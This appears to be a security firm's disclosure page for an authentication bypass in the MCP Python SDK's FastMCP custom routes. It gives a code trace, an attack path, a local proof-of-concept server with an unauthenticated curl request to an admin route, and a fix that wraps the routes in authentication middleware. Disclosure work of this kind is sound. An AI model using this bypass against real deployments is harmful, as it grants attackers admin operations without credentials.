Skip to content
winfunc
Disclosure record · Anthropic

Authentication bypass on FastMCP custom routes

Broken Access Control in FastMCP custom routes

AnthropicDisclosedSource record

Severity rating

Critical
Critical

No numeric base score was published with this disclosure.

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Record

Project
Anthropic
Severity
Critical
CVE
None listed
Disclosed
Trace
4 steps

Summary

Source

FastMCP.custom_route

src/mcp/server/fastmcp/server.py:685

Sink

FastMCP.sse_app

src/mcp/server/fastmcp/server.py:920

FastMCP.custom_route() allows developers to mount arbitrary HTTP handlers intended for sensitive use cases such as OAuth callbacks or admin APIs, but it never applies RequireAuthMiddleware even when the server is configured with a token verifier. Only the built-in SSE and StreamableHTTP endpoints are wrapped; custom routes are appended to the Starlette app as-is while Starlette’s AuthenticationMiddleware merely records credentials without rejecting unauthenticated requests. As a result any HTTP endpoint registered through @server.custom_route() remains publicly accessible despite OAuth or token-based authentication being enabled for the server. Attackers can directly invoke privileged administration handlers over the network without presenting credentials.

Severity

Attack vectorAV
Network
Attack complexityAC
Low
Privileges requiredPR
None
User interactionUI
None
ScopeS
Unchanged
ConfidentialityC
High
IntegrityI
High
AvailabilityA
Low

Metric values as published in the disclosure vector. Meters show how far each value raises exposure.

Source-to-sink trace

  1. Source · attacker-controlledsrc/mcp/server/fastmcp/server.py:685

    FastMCP.custom_route

  2. Step 01src/mcp/server/fastmcp/server.py:921

    Custom Starlette routes registered via custom_route() are appended to the SSE app without additional middleware.

    python
    routes.extend(self._custom_starlette_routes)
    
  3. Step 02src/mcp/server/fastmcp/server.py:716

    custom_route() stores the developer handler as-is with no authentication enforcement even though docstring suggests admin usage.

    python
    self._custom_starlette_routes.append(Route(path, endpoint=func,...))
    
  4. Step 03src/mcp/server/fastmcp/server.py:953

    Even when auth is enabled only AuthenticationMiddleware is added globally; it does not reject unauthenticated requests, so custom routes remain open.

    python
    if self._token_verifier:
        middleware = [Middleware(AuthenticationMiddleware, backend=BearerAuthBackend(...)), Middleware(AuthContextMiddleware)]
    
  5. Step 04examples/servers/simple-auth/mcp_simple_auth/legacy_as_server.py:84

    Attacker-controlled HTTP request reaches privileged handler without proving identity, enabling arbitrary admin operations.

    python
    request = await func(request)
    
  6. Sinksrc/mcp/server/fastmcp/server.py:920

    FastMCP.sse_app

Impact

Reported impact

Whatever privileged operations the route performs (e.g., issuing OAuth tokens, modifying server state) happen with attacker input. Confidentiality, integrity, and availability of the server are compromised.

Attack surface

Any MCP deployment that calls FastMCP(..., token_verifier=..., auth=AuthSettings(...)) and registers routes via @server.custom_route().

Preconditions

None; attacker only needs network access. Authentication is enabled but not enforced on custom routes.

Attack path

  1. 1

    Enumerate server paths (OpenAPI schema lists them if include_in_schema=True, or guess known admin paths).

  2. 2

    Send HTTP request directly to the custom route using curl/httpx.

  3. 3

    Despite missing Authorization, handler executes because only AuthenticationMiddleware ran.

Proof of concept

Reproduction5 stages
  1. 01

    Environment setup

    Requirements: Ubuntu 22.04+, Python 3.10+, uv package manager.

    Install dependencies:

    bash
    git clone https://github.com/modelcontextprotocol/python-sdk.git
    cd python-sdk
    uv sync --frozen
    
  2. 02

    Target configuration

    Create a minimal FastMCP server that enables OAuth-style auth but exposes an admin route:

    python
    from mcp.server.fastmcp import FastMCP
    from mcp.server.auth.settings import AuthSettings
    from mcp.server.auth.provider import AccessToken, TokenVerifier
    from starlette.requests import Request
    from starlette.responses import JSONResponse
    
    class StaticVerifier(TokenVerifier):
        async def verify_token(self, token: str):
            return AccessToken(token=token, client_id="admin", scopes=["admin"]) if token == "valid" else None
    
    app = FastMCP(
        token_verifier=StaticVerifier(),
        auth=AuthSettings(
            issuer_url="https://auth.example.com",
            resource_server_url="https://server.example.com",
            required_scopes=["admin"],
        ),
    )
    
    @app.custom_route("/admin/restart", methods=["POST"])
    async def restart(_: Request):
        return JSONResponse({"status": "restarted"})
    
    if __name__ == "__main__":
        app.run(transport="streamable-http")
    

    Run the vulnerable server:

    bash
    uv run python vulnerable_server.py
    # Server listens on http://127.0.0.1:8000/mcp
    
  3. 03

    Exploit delivery

    Unauthenticated attack:

    bash
    curl -X POST http://127.0.0.1:8000/admin/restart
    
  4. 04

    Expected response

    json
    {"status":"restarted"}
    

    No Authorization header is required even though the server advertises admin scope enforcement.

  5. 05

    Outcome

    An Internet attacker can trigger any custom admin route without valid tokens (resetting state, altering configuration, dumping data, etc.), fully bypassing the configured OAuth/token protections.

Remediation

Guidance

Wrap every custom Starlette route with the same RequireAuthMiddleware used for built-in transports whenever a token_verifier is configured. This ensures unauthenticated requests never reach developer-provided admin endpoints.

Before and after−5+8
def custom_route(...):    def decorator(func):        self._custom_starlette_routes.append(            Route(path, endpoint=func, ...)        )def custom_route(...):    def decorator(func):        endpoint = func        if self._token_verifier:            required_scopes = self.settings.auth.required_scopes if self.settings.auth else []            resource_metadata_url = ...            endpoint = RequireAuthMiddleware(func, required_scopes, resource_metadata_url)        self._custom_starlette_routes.append(Route(path, endpoint=endpoint, ...))
View original source record

Check the upstream record for the project's current remediation status.

Your codebase

Investigate the paths that matter in your codebase.

Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.